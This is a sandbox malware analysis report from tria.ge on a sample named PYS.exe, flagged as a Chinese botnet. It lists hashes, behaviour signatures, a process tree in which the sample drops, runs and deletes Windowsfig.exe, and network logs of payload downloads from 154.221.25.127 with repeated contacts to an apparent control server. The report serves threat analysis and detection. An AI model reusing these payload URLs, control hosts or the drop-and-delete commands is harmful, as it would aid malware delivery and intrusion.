Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

1

PYS.exe

windows7-x64

10

PYS.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/04/2023, 18:14 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    PYS.exe

  • Size

    3.4MB

  • MD5

    3651d9ca9d9a43985750f0de73f0c807

  • SHA1

    15810e62673e4625b4c8c61ad37f4b48a4760f55

  • SHA256

    8e4856e97753bf0e0c73b10d7d7891968e347b73dd2b506e6308d7bca7af0dd0

  • SHA512

    23f604c116eea0d4212740594eefe0b044d6e088fad17bbc073c97923e31cb28b53a570a375adf012dbb7f797827595e48bf9a781913f4c08ae0125e0d0a5e05

  • SSDEEP

    98304:Ps+xhKoQJBwKhJ+O+uiXAqSuuWHoFN6WtljaEy9oFLOAkGkzdnEVomFHKnP:5oJpQAqSudHmN6WtljaEyqFLOyomFHKP

Score
10/10
chinese_generic_botnetbotnet

Malware Config

Signatures

  • Generic Chinese Botnet

    A botnet originating from China which is currently unnamed publicly.

    botnetchinese_generic_botnet
  • Chinese Botnet payload 2 IoCs
    botnet
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\PYS.exe
    "C:\Users\Admin\AppData\Local\Temp\PYS.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1152
    • C:\ProgramData\Windowsfig.exe
      "C:\ProgramData\Windowsfig.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4668
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 4668 -s 2580
        3⤵
        • Program crash
        PID:816
    • C:\Windows\SysWOW64\cmd.exe
      cmd /C "del /F /S /Q /A C:\ProgramData\Windowsfig.exe"
      2⤵
        PID:3904
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4668 -ip 4668
      1⤵
        PID:4048

      Network

      • flag-us
        DNS
        84.150.43.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        84.150.43.20.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        123.108.74.40.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        123.108.74.40.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        126.21.238.8.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        126.21.238.8.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        95.221.229.192.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        95.221.229.192.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        94.19.221.154.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        94.19.221.154.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        232.168.11.51.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        232.168.11.51.in-addr.arpa
        IN PTR
        Response
      • flag-hk
        GET
        http://154.221.25.127/Winconfig.exe?abc=%d
        PYS.exe
        Remote address:
        154.221.25.127:80
        Request
        GET /Winconfig.exe?abc=%d HTTP/1.1
        Accept: */*
        Accept-Encoding: gzip, deflate
        User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
        Host: 154.221.25.127
        Connection: Keep-Alive
        Response
        HTTP/1.1 200 OK
        Content-Type: application/octet-stream
        Content-Length: 639488
        Accept-Ranges: bytes
        Server: HFS 2.3m
        Set-Cookie: HFS_SID_=0.92571969050914; path=/; HttpOnly
        ETag: D9C483A3E9F8E95678AB6D58213ED8AC
        Last-Modified: Wed, 18 Nov 2020 13:31:26 GMT
        Content-Disposition: attachment; filename="Winconfig.exe";
      • flag-hk
        GET
        http://154.221.25.127/UnityPlayer.dll?abc=%d
        PYS.exe
        Remote address:
        154.221.25.127:80
        Request
        GET /UnityPlayer.dll?abc=%d HTTP/1.1
        Accept: */*
        Accept-Encoding: gzip, deflate
        User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
        Host: 154.221.25.127
        Connection: Keep-Alive
        Cookie: HFS_SID_=0.92571969050914
        Response
        HTTP/1.1 200 OK
        Content-Type: application/octet-stream
        Content-Length: 94342
        Accept-Ranges: bytes
        Server: HFS 2.3m
        ETag: D35DB9235033F66A5C97C4ACF51EC560
        Last-Modified: Sun, 09 Apr 2023 12:19:46 GMT
        Content-Disposition: attachment; filename="UnityPlayer.dll";
      • flag-hk
        GET
        http://154.221.25.127/PYS.exe?abc=%d
        PYS.exe
        Remote address:
        154.221.25.127:80
        Request
        GET /PYS.exe?abc=%d HTTP/1.1
        Accept: */*
        Accept-Encoding: gzip, deflate
        User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
        Host: 154.221.25.127
        Connection: Keep-Alive
        Cookie: HFS_SID_=0.92571969050914
        Response
        HTTP/1.1 200 OK
        Content-Type: application/octet-stream
        Content-Length: 3548672
        Accept-Ranges: bytes
        Server: HFS 2.3m
        ETag: E1848F3EF897629D3D839BA8FC02A540
        Last-Modified: Mon, 03 Apr 2023 04:46:12 GMT
        Content-Disposition: attachment; filename="PYS.exe";
      • flag-hk
        GET
        http://154.221.25.127/Windowsfig.exe?abc=%d
        PYS.exe
        Remote address:
        154.221.25.127:80
        Request
        GET /Windowsfig.exe?abc=%d HTTP/1.1
        Accept: */*
        Accept-Encoding: gzip, deflate
        User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
        Host: 154.221.25.127
        Connection: Keep-Alive
        Cookie: HFS_SID_=0.92571969050914
        Response
        HTTP/1.1 200 OK
        Content-Type: application/octet-stream
        Content-Length: 110592
        Accept-Ranges: bytes
        Server: HFS 2.3m
        ETag: FC75E801AC5274A114884106E12D88AD
        Last-Modified: Thu, 09 Mar 2023 12:17:18 GMT
        Content-Disposition: attachment; filename="Windowsfig.exe";
      • flag-us
        DNS
        127.25.221.154.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        127.25.221.154.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        44.8.109.52.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        44.8.109.52.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        15.164.165.52.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        15.164.165.52.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        2.36.159.162.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        2.36.159.162.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        15.164.165.52.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        15.164.165.52.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        103.169.127.40.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        103.169.127.40.in-addr.arpa
        IN PTR
        Response
      • 154.221.19.94:5010
        PYS.exe
        3.0kB
         159.4kB
         61
        116
      • 154.221.25.127:80
        http://154.221.25.127/Windowsfig.exe?abc=%d
        http
        PYS.exe
        204.3kB
         4.6MB
         4300
        4295

        HTTP Request

        GET http://154.221.25.127/Winconfig.exe?abc=%d

        HTTP Response

        200

        HTTP Request

        GET http://154.221.25.127/UnityPlayer.dll?abc=%d

        HTTP Response

        200

        HTTP Request

        GET http://154.221.25.127/PYS.exe?abc=%d

        HTTP Response

        200

        HTTP Request

        GET http://154.221.25.127/Windowsfig.exe?abc=%d

        HTTP Response

        200
      • 40.77.2.164:443
        260 B
         5
      • 173.223.113.164:443
        322 B
         7
      • 173.223.113.131:80
        322 B
         7
      • 131.253.33.203:80
        322 B
         7
      • 107.148.54.103:8848
        PYS.exe
        260 B
         200 B
         5
        5
      • 107.148.54.103:8848
        PYS.exe
        260 B
         200 B
         5
        5
      • 107.148.54.103:8848
        PYS.exe
        260 B
         200 B
         5
        5
      • 107.148.54.103:8848
        PYS.exe
        260 B
         200 B
         5
        5
      • 107.148.54.103:8848
        PYS.exe
        260 B
         200 B
         5
        5
      • 107.148.54.103:8848
        PYS.exe
        260 B
         200 B
         5
        5
      • 107.148.54.103:8848
        PYS.exe
        260 B
         200 B
         5
        5
      • 8.238.20.126:80
        322 B
         7
      • 107.148.54.103:8848
        PYS.exe
        260 B
         200 B
         5
        5
      • 107.148.54.103:8848
        PYS.exe
        260 B
         200 B
         5
        5
      • 107.148.54.103:8848
        PYS.exe
        260 B
         200 B
         5
        5
      • 107.148.54.103:8848
        PYS.exe
        260 B
         200 B
         5
        5
      • 107.148.54.103:8848
        PYS.exe
        260 B
         200 B
         5
        5
      • 107.148.54.103:8848
        PYS.exe
        260 B
         200 B
         5
        5
      • 107.148.54.103:8848
        PYS.exe
        260 B
         200 B
         5
        5
      • 107.148.54.103:8848
        PYS.exe
        260 B
         200 B
         5
        5
      • 107.148.54.103:8848
        PYS.exe
        260 B
         200 B
         5
        5
      • 107.148.54.103:8848
        PYS.exe
        260 B
         200 B
         5
        5
      • 107.148.54.103:8848
        PYS.exe
        260 B
         200 B
         5
        5
      • 107.148.54.103:8848
        PYS.exe
        260 B
         200 B
         5
        5
      • 107.148.54.103:8848
        PYS.exe
        260 B
         200 B
         5
        5
      • 107.148.54.103:8848
        PYS.exe
        260 B
         200 B
         5
        5
      • 107.148.54.103:8848
        PYS.exe
        260 B
         200 B
         5
        5
      • 107.148.54.103:8848
        PYS.exe
        52 B
         40 B
         1
        1
      • 8.8.8.8:53
        84.150.43.20.in-addr.arpa
        dns
        71 B
         157 B
         1
        1

        DNS Request

        84.150.43.20.in-addr.arpa

      • 8.8.8.8:53
        123.108.74.40.in-addr.arpa
        dns
        72 B
         146 B
         1
        1

        DNS Request

        123.108.74.40.in-addr.arpa

      • 8.8.8.8:53
        126.21.238.8.in-addr.arpa
        dns
        71 B
         125 B
         1
        1

        DNS Request

        126.21.238.8.in-addr.arpa

      • 8.8.8.8:53
        95.221.229.192.in-addr.arpa
        dns
        73 B
         144 B
         1
        1

        DNS Request

        95.221.229.192.in-addr.arpa

      • 8.8.8.8:53
        94.19.221.154.in-addr.arpa
        dns
        72 B
         133 B
         1
        1

        DNS Request

        94.19.221.154.in-addr.arpa

      • 8.8.8.8:53
        232.168.11.51.in-addr.arpa
        dns
        72 B
         158 B
         1
        1

        DNS Request

        232.168.11.51.in-addr.arpa

      • 8.8.8.8:53
        127.25.221.154.in-addr.arpa
        dns
        73 B
         134 B
         1
        1

        DNS Request

        127.25.221.154.in-addr.arpa

      • 8.8.8.8:53
        44.8.109.52.in-addr.arpa
        dns
        70 B
         144 B
         1
        1

        DNS Request

        44.8.109.52.in-addr.arpa

      • 8.8.8.8:53
        15.164.165.52.in-addr.arpa
        dns
        72 B
         146 B
         1
        1

        DNS Request

        15.164.165.52.in-addr.arpa

      • 8.8.8.8:53
        2.36.159.162.in-addr.arpa
        dns
        71 B
         133 B
         1
        1

        DNS Request

        2.36.159.162.in-addr.arpa

      • 8.8.8.8:53
        15.164.165.52.in-addr.arpa
        dns
        72 B
         146 B
         1
        1

        DNS Request

        15.164.165.52.in-addr.arpa

      • 8.8.8.8:53
        103.169.127.40.in-addr.arpa
        dns
        73 B
         147 B
         1
        1

        DNS Request

        103.169.127.40.in-addr.arpa

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\Windowsfig.exe
        Filesize

        108KB

        MD5

        40528a8ce542af784cb9958552f7798d

        SHA1

        58c5ba782f367a1d65bf712ada150fe0b5e14292

        SHA256

        46780be1f3276ff325e105b85d5cac13b1eae75b04d17340bca01c7d63027cfc

        SHA512

        dad82f72882e2a7ca2fe4cea7360150bdffe394dca582f7afdc378ff6e77578e3dd12da668bf2297532b3d2475d97838571cca6343c4a7515d26449acf287e0a

        Download Submit

      • C:\ProgramData\Windowsfig.exe
        Filesize

        108KB

        MD5

        40528a8ce542af784cb9958552f7798d

        SHA1

        58c5ba782f367a1d65bf712ada150fe0b5e14292

        SHA256

        46780be1f3276ff325e105b85d5cac13b1eae75b04d17340bca01c7d63027cfc

        SHA512

        dad82f72882e2a7ca2fe4cea7360150bdffe394dca582f7afdc378ff6e77578e3dd12da668bf2297532b3d2475d97838571cca6343c4a7515d26449acf287e0a

        Download Submit

      • C:\ProgramData\Windowsfig.exe
        Filesize

        108KB

        MD5

        40528a8ce542af784cb9958552f7798d

        SHA1

        58c5ba782f367a1d65bf712ada150fe0b5e14292

        SHA256

        46780be1f3276ff325e105b85d5cac13b1eae75b04d17340bca01c7d63027cfc

        SHA512

        dad82f72882e2a7ca2fe4cea7360150bdffe394dca582f7afdc378ff6e77578e3dd12da668bf2297532b3d2475d97838571cca6343c4a7515d26449acf287e0a

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_actq3gam.s1w.ps1
        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        Download Submit

      • memory/1152-134-0x0000000010000000-0x0000000010027000-memory.dmp

        Filesize

        156KB

        Download

      • memory/1152-133-0x0000000001340000-0x0000000001366000-memory.dmp

        Filesize

        152KB

        Download

      • memory/4668-178-0x0000000006880000-0x00000000068B6000-memory.dmp

        Filesize

        216KB

        Download

      • memory/4668-183-0x0000000007D10000-0x00000000082B4000-memory.dmp

        Filesize

        5.6MB

        Download

      • memory/4668-166-0x0000000008EC0000-0x00000000094E8000-memory.dmp

        Filesize

        6.2MB

        Download

      • memory/4668-177-0x0000000006820000-0x000000000683A000-memory.dmp

        Filesize

        104KB

        Download

      • memory/4668-165-0x00000000007C0000-0x00000000007E0000-memory.dmp

        Filesize

        128KB

        Download

      • memory/4668-179-0x0000000007690000-0x0000000007D0A000-memory.dmp

        Filesize

        6.5MB

        Download

      • memory/4668-180-0x0000000006960000-0x00000000069F6000-memory.dmp

        Filesize

        600KB

        Download

      • memory/4668-181-0x0000000006910000-0x0000000006932000-memory.dmp

        Filesize

        136KB

        Download

      • memory/4668-182-0x0000000006A70000-0x0000000006AD6000-memory.dmp

        Filesize

        408KB

        Download

      • memory/4668-167-0x0000000005300000-0x0000000005310000-memory.dmp

        Filesize

        64KB

        Download

      • memory/4668-184-0x0000000006A40000-0x0000000006A5E000-memory.dmp

        Filesize

        120KB

        Download

      • memory/4668-185-0x0000000006B30000-0x0000000006B7A000-memory.dmp

        Filesize

        296KB

        Download

      • memory/4668-186-0x00000000082C0000-0x0000000008326000-memory.dmp

        Filesize

        408KB

        Download

      • memory/4668-187-0x0000000008330000-0x0000000008352000-memory.dmp

        Filesize

        136KB

        Download

      • memory/4668-197-0x0000000005670000-0x000000000568E000-memory.dmp

        Filesize

        120KB

        Download

      • memory/4668-198-0x00000000FF6D0000-0x00000000FF6E0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/4668-199-0x0000000005B20000-0x0000000005B2A000-memory.dmp

        Filesize

        40KB

        Download

      We care about your privacy.

      This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.